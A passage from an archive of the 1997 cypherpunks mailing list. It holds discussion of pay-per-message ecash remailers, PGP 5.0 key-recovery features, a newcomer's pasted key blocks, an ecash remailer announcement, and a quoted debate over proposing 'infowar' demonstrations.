in the form of a small fee per message relayed.  While that tactic might
achieve its stated purpose, it would simeultaneously reduce the number
of remailer users to those who were willing to pay the fee.  This
decrease in the number of users will serve to decrease the degree of
anonymity provided.  Consumers are unlikely to pay more money for a
service which provides less anonymity, thus making pay-per-message
remailers uneconomical.

That's the problem.  It has nothing to do with which payment system is
used.  The problem is the economics of the proposed pricing structure.



Monty Cantsin wrote:

> The ecash itself could come from a file of blocks of ASCII ecash made
> out to cash, which are automatically clipped by premail and then
> pasted into the message.  Easy, right?  Nobody even has to interact
> with the ecash application from the program.
> 
> So where do these files full of blocks of ASCII ecash going to come
> from?  People with ecash accounts can generate them by hand or by
> having a program call the ecash software to generate them.  Then they
> can give or sell them to their less fortunate friends who don't have
> an ecash account.

If that's how you want to do it, then just have the remailer make up
some ASCII blocks that it will accept as payment, and sell them to
people who sell them to their friends.  In fact I think Karl Barrus
ran a remailer with this setup a few years ago.  The question is,
what's the point?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 30 Sep 1997 06:14:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash (fwd)
In-Reply-To: <199709291246.HAA11540@einstein.ssz.com>
Message-ID: <3.0.3.32.19970929175135.037f0324@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:46 AM 9/29/97 -0500, Jim Choate wrote:
>I'm wondering about your co-location machine, from your comments above it
>must be sitting in a field since you don't pay rent (or was that your way of
>saying somebody else pays the rent for you?). Is this so? Since so many of
>your utilities and physical plant are donated I have to question the
>accuracy and utility of your figures as well as the applicability of those
>figures to a true commercial enterprise.

Cracker is a colocated machine.  I've said this before.  The connectivity
charges includes space, electricity, air conditioning, back up power,
network management, bandwidth, and so forth.  For connectivity pricing, I
took the cost of a rack and prorated it for one machine.  Cracker is run by
Electronic Frontiers Georgia (EFGA).  EFGA is a non-profit Georgia
corporation.  No, I never said we were a commercial enterprise.  I merely
outlined what the equivalent cost to a commercial enterprise would be.  In
Cracker's case, that is $50K per year based on prorated prices, not the
full charges.

Of course I left out our donated legal time we have.  When used, that is a
chunk of money.  $50K per year would not begin to cover the costs of
operation for a standalone commercial remailer operation.  It does
represent what Cracker currently is using, including current donated
resources.

To run Cracker as a standalone commercial enterprise would take a lot of
ecash, and I don't think it would be feasible at this point in time.  For
an existing internet business, adding a remailer may be very inexpensive, a
cost of practically zero, except for the complaints.



  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 30 Sep 1997 09:24:25 +0800
To: Anonymous <cypherpunks@cyberpass.net
Subject: Re: [NTSEC] pgp 5.0 back door
In-Reply-To: <60ea750d816659dde629440a5798ee63@anon.efga.org>
Message-ID: <3.0.3.32.19970929175251.0305d3c4@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713735.multipart/signed"

--Boundary..3984.1071713735.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 12:17 PM 9/29/97 -0400, Anonymous wrote:
>The PGP Web site in http://www.pgp.com/products/differences.cgi has a list
>of differences between PGP 5.0 (personal PGP) and PGP 4.5.x (corporate
>PGP).  The corporate one includes a feature that the private one doesn't
>called "message recovery".  Given Phil's fanaticism outlined above, this
>presumably isn't any way to get at the plaintext without the user's
>knowledge or cooperation, but just what the heck IS it?  I can't find a
>description of the feature on-line.  The manual itself is on-line in PDF,
>which presumably answers this question for acrobat fans.  I see nothing
>about "message recovery" in the hard-copy PGP 4.5 manual.

It is my understanding that this is a setting to force 4.5 to encrypt all
messages to a specified key, which would be the corporate "message
recovery" key.  PGP 5.0 has a similar feature--a check box labeled "always
decrypt to default key" in the settings.  When this box is checked, the
default public key (usually one of yours) will always appear in the
recipient list when encrypting a message.  In 5.0, the default key is
visible in the recipient list, and it can easily be remived via drag and
drop.  I think that 4.5.x didn't show the key, and didn't allow the user to
remove it.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3984.1071713735.multipart/signed
Content-Type: application/octet-stream; name="pgp00010.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00010.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IFRwMG44VlhwMjc1
T1VuS0ZGMGtESU8vOEZ0UG5COG1pCgppUUEvQXdVQk5EQk4yY0pGMGtYcXB3
M01FUUw2VWdDZzhZS0xqbUNjY1FqWmV5QThsVzlRWUJRcFI3Z0FuUkN1Ckpq
TjdsbHFRZ1crVTFZQW9rUVR1MVdDWgo9Z0RoSwotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713735.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@sabotage.org>
Date: Tue, 30 Sep 1997 01:11:48 +0800
To: cypherpunks@ssz.com
Subject: Re: Remailers and ecash
Message-ID: <199709291643.SAA05265@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



[..]
: Then Mr. Cantsin seemed to go back to the all you need are some spare parts
: theory of remailer operation.  Enormous profits of $200 per month, or even
: $5,000 per year.  Well, Cracker handles close to 25% of worldwide remailer
: traffic of it's kind[1].  And it's not much.  I would say this is due
: mainly to the user interface.  Making remailers more difficult to use by
: adding Ecash is not going to increase traffic significantly.

Basicly most of those 3400 message cracker handles daily are cover trafic,
a big chunk of the rest is from people "playing" around with the remailer,
then there are those few that needs some form of anonimity so they can inform
a mailinglist/postmaster/complaints department, and then maybe once a week
or so there is that message that would be paid for if remailers were for pay.

So in short, if remailers were to be paid for, traffic would halt.

--
  Alex de Joode | usura@SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (A Hoier)
Date: Tue, 30 Sep 1997 08:29:46 +0800
To: cypherpunks@toad.com
Subject: PGP Key or Public Key Block
Message-ID: <19970929.185023.10294.0.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Which do I put in my e-mails to the list my PGP KEY OR PUBLIC KEY
BLOCK?????????????????  The PGP Block I got off thr NET on some1's web
site on this list and somebody gave me the PGP KEY!!!!!!  Will that
help????  Or do I use the Public Key to decrypt PGP Messages??  N E wayz
here they BOTH R!!!!!



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Version: PGP for Personal Privacy 5.0
MessageID: HyRMcbGm8DN7BxUVL/6EunpyDLmTX8Wj

iQA/AwUBNAneIl7MfpC8gEO7EQIOIgCeM6giFdXXS1Idut3q941mSEEc8CAAoITk
142XgrvDAUe3CMwH4jTRiJZi
=jvrj
-----END PGP SIGNATURE


----------BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzPkQaAAAAEEAKyHSsNcjEowFluna7e9RG+28X+2ooB8q/jKVU2iAyoIVz02
0VVMB7r0kVBfLKlQ1CvoM3vTONcAuygslKK8wg7H/7rtw2EkyIN/OHuG3I0ZBUSb
uMoQN6olrNkRq/d9r8UCxwlWsO95mRXC22iGckUiPDTnGTSMwaLZuljw++T5AAUR
tDZidXJlYXU0MiBBbm9ueW1vdXMgUmVtYWlsZXIgPHJlbWFpbGVyQGJ1cmVhdTQy
Lm1sLm9yZz6JAJUDBRAz5EG1otm6WPD75PkBAaZBBACCkMkhFT3iLM+vdnmH2bgH
ZWmZOAJKJrUZgeWSVjqxblr4DHahCcoyPfv3ZtyOJfqOy2jE4Q//h/R6lrHhdchy
MoBs0g75UOKLiGwzMUh5u1IzcmYXGUQL7sawCNIzw88q/P3Pv97mZXxcRX+vVkFR
82JRfXmM2yDqUrBsS5n2OLQeRG8gTk9UIHVzZSBvbGQga2V5IDB4RERGNDAyNjEh
mQBtAzPSTF0AAAEDALB9+NoDqkagMLiEpaT6VcUdVgbh7csx72Ns8YLCRVhl3zGV
VMKZqBv7Qd/qjfHU1NXtF3IjFaNL40z8njROvEy8keuOpIKZfd+1a2iCPwXhiP1o
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4hgPOK+dzF3nBgOVQV961o8tmrN3Q9HzvAEKoVGV5fDj9j5kUMkNET83zLPE/oMk
UpSNxNRPRDrk6eqWSF6k/rckilNUOnC4yBu3vSbZnc6BilyrWNpFY6mc76uXiTgA
13EoZVqkknBmv0n9eRairgc2BQAFEbQsR29kZGVzcyBIZXJhIFJlbWFpbGVyIDxn
b2RkZXNzaGVyYUBqdW5vLmNvbT6JAJUDBRAzxPyn/XkWoq4HNgUBASuxA/9DK0dz
5IY5zjkiDnQnog0py/QUpygAie5BPczRfapPUIIh075gEEK1mNMT1y5pQdX6khf1
4Y1m2fdbr3y8K3axbya8/ErsXkbeV3I265QfS6rAHQb44EPAHXGNCA+bW5zClrg0
hmmEN9L4/ijqveb64mMaNMXCwIAVCdKYtyL6OZkAjQMzxacsAAABBACqa0iZ3Yyo
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cmlkQGp1bm8uY29tPokAlQMFEDPFp3brhMuMuXVX3QEBwg0EAJug6DJHO5Qu1QlO
0pgzzQzUgdZMfBm1k8EBHOWODW6G6s+ltUa6UgU/6a6pPqdlPolrlmNs1xlFSBWr
Eo9RAV6eHz92PTdY2q4V0pFbLYo+24zkKFqoEceaSKs4QqxAtTXQlK1cFCSJjyVG
CWEK9fJ+3ZcKim8wnmTdkrBWxZ7FmQBtAzPCxbkAAAEDAMLPgLZ1IX8kOL61FcVx
2c5zaToUmIikfe29i6djUTbvC8vuHG+pa86jHC4zIXwGfPs08pZfJjSvi2OHXb91
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bqL6Hp6sApccv5upZXQHvtdVTKS4ps1AhNFuC3icVvODfiYP0hpj+2BdTdDpgHNL
J37yYYYCNJFh5QzLvqVgHOlFyxD5Z9MLW/d+kxcWwJkAjQMxz3WZAAABBACt6yOa
Kt3cA1eYp5XorY8tNyb4QQ/xrW0UQztZ6C1J0X+BVQpgnxia6orR7SAaoQPoSEQX
DUaOyePGIrunLXWtvcXv6xMt0HUih6WYbLbFfoc8N+Ni4aIJtXFtkD674yUFIFOZ
qSkfaip+ykCwXFc/zMdRL1+GjBidqCdYEWyIOQAFEbQkQW5vbnltb3VzIHJlbWFp
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Bj1KOrkeP+f7W2xSskLPH1tDZg5K1PsZ4u0DZiilI6gu5SfzBz8URs7l2mBPpPSP
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aXhtYXN0ZXIgUmVtYWlsZXIgPG1peG1hc3RlckByZW1haWwub2JzY3VyYS5jb20+
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3+dtfNqSiaO1lzaxEOElig1yb1P1EVuQtCpNaXhtYXN0ZXIgUmVtYWlsZXIgPG1p
eG1hc3RlckBvYnNjdXJhLmNvbT6JARUDBRAwCfOf8/OvzUFWMxUBATNFCACTdqey
plvbLyisSKbSKAcmkDbYnXmXq27lmKEemcFtckSp0Mq+yno/8sb5kMFdrxsYaDtH
FnXFcWpVZI6SS/2KpygxYHXhUfMLkDoxySGSlQao+34czJQRb8mcbNnbTZnhppVc
6Ncywt/mOjVUin3j/ydB6f5AlOGkkuZo0aCXzPrSyTJfNu2jP3dbLohkBBhgiZ6z
BKti6Q7XALoVfLT9rcCQON3uYmIK0Dabu1PEJmvYQGVK7hV6YbUA+YJOOHZ//DJc
1TWJeZMNvs1BymVMDClE6t2+0F6yUT5vNipZmqKlwUcfJb1bphRUivXxyiO3qTkY
RXMj1YISAA6/6QDViQCVAwUQMAnzbFVkk3dax7hlAQFzuAP+LNWzf6Nezdl75T5l
WZ87qC5RwxREHhWw1LqfkEdGbopLupcJfEdhzS16GS4dW4YPSuJJpLbfY/Q02anU
Ph3Ne1RVAJgFl8xtZfgSiiocYZECio8Zm6R7yllh9UYBFQoVAHz7OooaEK6bzPWx
tQ9SDNHluJ5Sf2yS3CxYQkQhw2iJAHUDBRAwCfF95TJRXw60BIEBAX/mAv46SwSr
DIET6lRkKY3UBcCYqVHGR3qDJskmXyVc45rgpUaZISuhhbylpz5OWtolvqP3Qu9u
on7s8e4y0dPzi5GdrXzccOoo53o0x3BNOKYTpka54YEHubAjKxpNTygJnrqZAIoD
L8Gj1AAAAQPo0wETmg0YupSZm9RlNYF8vjUHrsRW0Me7lWaqs8tfrDSCTxSU9Q2V
b/XAAI1AAWz+HEop3QHXl3xHtCTVfsfUo+x0X0ACnwMgF7cw3n1nyI7V1gEZbxiE
+DYRec0BnJVBv8IaENmGbydqrfCxDKdlm7gnsOZUPRWysueuweUABRG0LVJlcGxh
eSBSZW1haWxlciBTZXJ2aWNlIDxyZW1haWxlckByZXBsYXkuY29tPg==
=NciI
-----END PGP PUBLIC KEY BLOCK-----

Did I just make a mistake?  BTW, How  _DO_ I decrypt messages (PGP)?
Because I just Copy $ Paste the Keys to my letters because I dont have a
PGP PROGRAM!!!!!!!!!  Hope I didn't make a mistake!!!!!!!!!



ADAM HOIER





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 07:54:08 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <508c85c918a01b5621d03cf1d7b4298c@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




Re: attack on marijuana and other plants:

>> That should read: ... free of drugs that cannot be taxed or
>> patented.
> I have one of the red ribbons they give to school kids during DARE week.
> It reads "Live healthy and drug free. Sponsored by Thrifty Drug Store".
> 
> The analysis is obvious.

A few drags...and I can see multiple ways out and beyond. So why
all this heat on this harmless and rewarding substance?



CM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 30 Sep 1997 04:27:26 +0800
To: cypherpunks@cyberpass.net
Subject: CypherSaber msg [was: Re: [NTSEC] pgp 5.0 back door]
Message-ID: <19970929200002.13022.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Clarification on my previous postscript: I left the following a message
for CypherSaber CipherKnights with password "WriteYourCongressman"
starting thus:

> e91a 46d8 fba9 aaf5 927f 7a3f 1ded 8757 a741 4bb6 5568 3a5a f118 dc2b 11de

If you had trouble decrypting it, it's because those are words with
the most significant byte on the right.  I hate endianness.  Here it
is in bytes:

1a e9 d8 46 a9 fb f5 aa 7f 92 3f 7a ed 1d 57 87 41 a7 b6 4b 68 55 5a 3a 18
f1 2b dc de 11 b3 eb 73 e8 a1 ff 20 d5 ea 09 b6 52 c3 65 2a a4 14 3d fa be
3e 0f 09 ff 9a e0 26 ad 77 f8 84 aa 22 47 c3 8a 0a 77 ad 0a a0 48 1e bf 51
9c 1e 2b 4f a5 7e 8a 14 3e d1 b0 84 3a 52 88 db f9 ce d7 b5 73 66 40 16 d5
77 4d 95 03 e2 37 9c b7 cd 9a 07 61 ff ec bc 72 85 e9 de 0e f0 fc bd ea 03
b9 17 92 fc a0 5d b9 d7 5a 31 34 73 ba 98 0d 0b 36 f2 ce 63 f8 54 ed a4 8a
a9 b0 d1 6e bb a2 49 84 6f 34 7f 1a 31 f4 cf b8 e3 95 72 b3 f5 b0 a9 c8 e1
5a 2f 62 9f d5 90 c9 6d fd 11 36 1e bc 42 d8 c7 82 12 c1 d8 27 1e 8b d8 f3
69 f7 0c a1 f7 d4 60 63 a4 de cf f6 b3 fe c6 e8 2b c7 4a 7b dc 03 c4

Sorry for the confusion, if any.

	Salvo Salasio


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNDAAv9eed+DWkqwBAQHZEgQAgO8VQ3+HmtF6U3gZrP8fpAm1Tkmw/FIX
KTA9WtfhqUEQN0tugyT5GvXfabw/ppiShYhDB4lEnJ4Tq2n/ul7Czkgnz6zkJeSy
o3YaMwmqhnP9sHGr+8ehe9FY9763bsQ8kUQMmEntwJg1SiqSMY4FU9Tc2BnueDuo
ildjarcF6UQ=
=sU6y
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 30 Sep 1997 08:57:02 +0800
To: cypherpunks@cyberpass.net
Subject: Stew Baker on SAFE
Message-ID: <1.5.4.32.19970930002201.0081553c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Will Rodger we offer Stewart Baker's letter
to the Chairman Bliley of the House Commerce Committee 
on the Oxley/Manton amendment to SAFE, sent just before 
the vote:

   http://jya.com/safe-baker.htm

Compare it to his public analysis of the FBI technical
assistance draft:

   http://jya.com/gak-baker.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 08:49:23 +0800
To: cypherpunks@cyberpass.net
Subject: Ecash Remailer #1
Message-ID: <17eeea20e78a2498765e928b039c8bb5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



This is a test of the first modern remailer to accept ecash.  Sorry for the
inconvenience.

MC








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Sep 1997 09:36:33 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199709300125.UAA14206@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 29 Sep 1997 17:37:58 -0400
> From: ghio@temp0120.myriad.ml.org (Matthew Ghio)
> Subject: Re: Remailers and ecash

>        Anonymity is one thing which you cannot have
>        without also giving it to others.

This isn't strictly true. I can send an email from an anon account to my
friend Bob. At this point I know who I am, I know who Bob is, Bob knows who
Bob is, *but* Bob doesn't know who I am. Clearly I obtained anonymity
without anyone else gaining it. The only time that complete anonymity is
obtained is if both sender and recipient are using anon accounts.

> In order for a remailer operator to afford himself the benefits of
> anonymous communication by establishing and using a remailer, he must
> allow others to use the remailer also.  This is why it is economical
> (for some people) to operate free remailers.

Well a single user is going to make traffic analysis a bit simplistic.
Though this reducion to absurdity does serve to make a clear point about
anonymity and traffic level. Clearly large traffic flows are required to
maintane the anonymity for any usable length of time.

> It has been suggested that it would be possible to increase the number
> of remailers by providing financial incentives to the remailer operators
> in the form of a small fee per message relayed.  While that tactic might
> achieve its stated purpose, it would simeultaneously reduce the number
> of remailer users to those who were willing to pay the fee.

Only if the fee was something they would notice, milli-cent fees are not
something most people will notice. I think you are unwittingly getting near
the mark however. In short your comment about incentives to the operators,
include in there the users and you have a winning combination. The question
should be expanded thusly:

What would motivate an average consumer to use an anonymous remailer?

Clearly simple anonymity or writing nasty letters to Grandma anonymously are
not going to motivate most folks irrespective of cost - they simply have no
interest in such activities. So, the question becomes:

What besides raising hell anonymously, laundering money, and defeating
merchant purchase traffic analysis are commercial anonymous remailers good
for?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Sep 1997 09:42:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199709300144.UAA14317@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 29 Sep 1997 23:33:31 +0200 (MET DST)
> To: cypherpunks@cyberpass.net
> From: nobody@REPLAY.COM (Anonymous)

> >Basicly most of those 3400 message cracker handles daily are cover
> >trafic,...
> 
> How do you know this?  If the remailer network works properly, you
> should not have any knowledge of this at all.

Because if a remailer is working correctly for each incoming message n + 1
outgoing messages should be sent. Of those n + 1 messages, n are cover
traffic and 1 is the actual outgoing traffic. It is clear that n should be
larger than 1 to be effective. Therefore we know that at least half of the
traffic out of a given remailer is cover there simply to waste our cpu
cycles because the complexity of traffic analysis rises by the square of n
(I believe, working from memory here).

> This is like saying we should only encrypt messages which are really
> secret.  You should encrypt all of your messages - then nobody can
> tell when you have a secret.

This raises an intersting point. How would a remailer system be set up to
handle encrypted email on both incoming and outgoing? In other words the
sender would contact the remailer with a key set and the remailer would then
send the results onward with individual recipients key sets. The only way I
could figure out to solve this in my playing around was to have a key server
that kept listings of all the parties keys. Is there a simpler way? I figure
the key server should not be the remailer machine.

> definitely get some market activity going and start generating some
> real remailer traffic.

Nobody expects to get rich but such an activity should at least be capable
of recompensing its owner and operators in an acceptable manner.

>From who and doing what? There has to be more than anonymous speech,
laundering cash, and avoiding credit analysis. But what?
 
> Let me now note that this dialogue has been somewhat surreal.  Am I
> really begging the cypherpunks to use ecash?

No, at least not from my perspective. What we are asking is what we should
be using it for? I certainly have very little I would say anonymously. I
believe the best way to stay out of jail and reasonably secure is to be know
by large groups of people who might lend sympathetic ears in times of need.
I don't promote violence or unnecessary boat rocking, BUT (and it's a big
one for me) I do expect those who I charge with certain duties to carry
those duties out within the bounds of the contract we arranged. One aspect
of this is that if the charge is very controversial and you are known to be
vocal a gag order might be enforced. In such situations he who has already
had their say is much better off because then people realize the impact
clearly. Just consider the reaction to the Canadian criminal speech ban and
the resultant web activity for a real world example. With that kind of press
I can guarantee that the Canadians, even with their Draconian beliefs in
civil rights, are not going to use that sort of tactic widely. Now here is a
use for a <nearly> free anonymous remailer.

> It's a good idea to get ecash in now because it will be harder to
> incorporate payment methods later when there is more infrastructure to
> change.  (Look at the mixmaster problem.  It can't (according to
> Lucky) be used for ecash without modification.)
> 
> However, it appears that part of the problem with the remailers is
> that nobody uses them.  We should be making a concerted effort to do
> so, and not just for cpunk traffic.  We should use them for
> everything.  It won't take that many people to reduce the message
> delays substantially.  It will also advertise the remailer network to
> our friends who may not yet be cypherpunks.
> 
> The tools exist to do this.

Yes, but why would I?

> It is somewhat ironic that we complain that Joe Sixpack won't use
> tools that we will not (or even cannot) use ourselves.

I don't buy a screwdriver to sit and fondle, I buy it to use on screws...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Tue, 30 Sep 1997 05:18:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Ecash Bounty
In-Reply-To: <86bf420d7b91c105780c596aac21863f@anon.efga.org>
Message-ID: <60p4q2$giu$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <86bf420d7b91c105780c596aac21863f@anon.efga.org>,
Anonymous  <anon@anon.efga.org> wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I, Monty Cantsin, will pay fifty dollars to the first operator of a
>remailer on Raph's list to get a machine up and running which accepts
>ecash as payment to forward a message.
>
>Offer expires October 27, 1997 C.E.
>
>Disputes are to be settled by Tim May.  If Mr. May declines to
>participate, Monty Cantsin will decide.
>
>Monty Cantsin
>Editor in Chief
>Smile Magazine
>http://www.neoism.org/squares/smile_index.html
>http://www.neoism.org/squares/cantsin_10.html
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>
>iQEVAwUBNC10kJaWtjSmRH/5AQEY5Af+PBBY0QU8ixNYgqIpWQkHEDf22lhVleaB
>JJ81Pe4TCllk3KJ0WU8+B7fVdt3oQEzaZLKobQqP6NJOfXai3dwxc5C4MPQe+YGw
>N6jQbcKetIwX7EUb2siKOq07W1hxVhYm6liYxeUHEBR8hWjCeUM1JiJ3IC3GALAi
>bJ0mDhkhEIugYkfBXl2mBm4VjQRPWSt8GxqhWDneyn4maJjmOs1lco1WvGuLC+GA
>fK1F9PnJIKZITzeAEjTB87H7LFxhy0eRuL+r9y8Fqw288bSkKC6aG//fTLOV7B8d
>MeIXu2UHa2HuB/L1MWmAVFGyKfoI0xJqeXeWCNmrLRlcp6GdCrQgig==
>=sNwa
>-----END PGP SIGNATURE-----

Done.  <ecash-remailer@cypherpunks.ca> accepts messages of the form:

---8<---8<---
::
Request-Remailing-To: luser@remote.host
X-Ecash-Payment:
 > -----BEGIN ECASH PAYMENT-----
 > 
 > oLmQgwAC5qGgiqCukIFPkIECkIEZkIEEkIEDkYQ0MBDNkIQ0XjVNkIFPkpJDeXBo
 > ZXJwdW5rcyBDYW5hZGGUlOy30rxoVWzRj2FUEDm3bTSxv3pJlJTaOaPuXmtLDTJV
 > v++VYBiQr9gHCZCBEJKAkoCUgJCBAJGEAAAAAJCBAKGguKCrkIICAJPgPylA2DY6
 > zQ4/J1GgVNbIf583iwRnYYTIOoTXYepGbfOakKFVg1muz3EOzkPrZbS8YlLPLZP5
 > 16iq+A5JFd9g/0HAXyP3ugcxpGQSTcl2xZthaK5DYdnw1NS/ZRUbcSwXk+AzVqnq
 > 5zTSngOAXvXu4NE5e2TuhwoFCV0FWfQngdjnP+TCFZLsfCYhGrkjVi59FdNgvcOX
 > tRRh26dpImGlB3xoBymUE/hKW2LGnb8DplywwFAJCjOW8zExyXn7iCAye+qQgQGh
 > oKuQggIDk+A/UDTdM1Id10cZf2ETXN77AlJD9NEizrzCQaBEzzhFmjJoziqMbYZu
 > hyfjjKFbHP3JkMhfZ4UwhG57hpD6JM4QXJ5N+RgjLaN8f4LQlDtBVuki+FeWMDcA
 > ZjhLV1N//oKT4DDG016p9/EZCZZiFL7prITgWEusumlENbPKM8dPEPc4Wky5BQm9
 > k8BQpAFWmJ773qpzO3AioNjid9ZVefV8dXZ/QkmPGOSR+LZSudVJJm7+NcsJhnlv
 > NKQmg7/PrnCu+5CBCKGgq5CCAgST4CQKMhd8S1j63UhO9N8T1mEg10ffj+2C3Y6N
 > 39aI3LicANxLk7cLJzyGi9oT+yy22QBnQJO0eBA7t26hJVJOA7gLIr+lW49jgmQ+
 > 1Y17RKG8D4tOb20PzI2JFX5A0JpZfZPgrdcLz1LSmU8+si5Z0503x4qs8aDzJGu9
 > B2IyfstgkLxIZVDoagcbrxoiu++POrX0UFNE/KG5jJ4aYOuTj/48EN6Gv/VWigs6
 > pieDeUj+h1nWKIvn1jCaRTV1MhnYKU3ykIEQoaGh
 > -----END ECASH PAYMENT-----

This is the body of the message to be remailed.
---8<---8<---

The ecash payment should be in the amount of USD 0.25, made out to
"Cypherpunks Canada".  Messages sent to <ecash-remailer@cypherpunks.ca>
that do not contain a valid payment will be turned into heat.  The
PGP key for <ecash-remailer@cypherpunks.ca> is the same as that for
<remailer@cypherpunks.ca>.  Do _not_ encrypt the ecash payment.

You can send your $50 to me in ecash, of course. :-)  Make it out to
"Cypherpunks Canada", and email it to me at <ian@cypherpunks.ca>.

   - Ian <remailer-admin@cypherpunks.ca>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 30 Sep 1997 13:03:25 +0800
To: "hallam@ai.mit.edu>
Subject: Re: engineering infowar disasters (was Re: How the FBI/NSA forces can further twist SAFE)
In-Reply-To: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
Message-ID: <3430792F.6118@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



Phillip Hallam-Baker wrote exactly what his handler told him to:
> On Saturday, September 27, 1997 7:57 PM, Adam Back [SMTP:aba@dcs.ex.ac.uk] wrote:
> > Reckon cypherpunks can knock up a few of those.
> >
> > So lets here some ideas for good photogenic infowar attacks which show
> > that the lack of crypto is dangerous.

> I suggest unless people want to hand the FBI an excuse
> to harass everyone that they don't enter into this discussion.

  The FBI already has a reason to harass everyone on the CypherPunks
list.
As cryptographers, we all fit the 'profile' of drug dealing, terrorist
pedophiles, and a Horseman to be named later.
 
> There are plenty of conspiracy laws on the book. Infrastructure
> attacks are illegal and exactly the kind of thing that gets long
> jail sentences.

  Breathing is illegal, for shit's sake!
  Name the people who have gotten long jail sentences for infastructure
attacks. Uuhhh...

> More to the point it is completely counterproductive. Even now
> there is probably some FBI junior waving Back's message in
> the air as if he has won the pools, probable cause for wiretaps
> I would say.

  I am sure you would know. 
  Let me give you a little bit of free advice, Phil, which will be worth
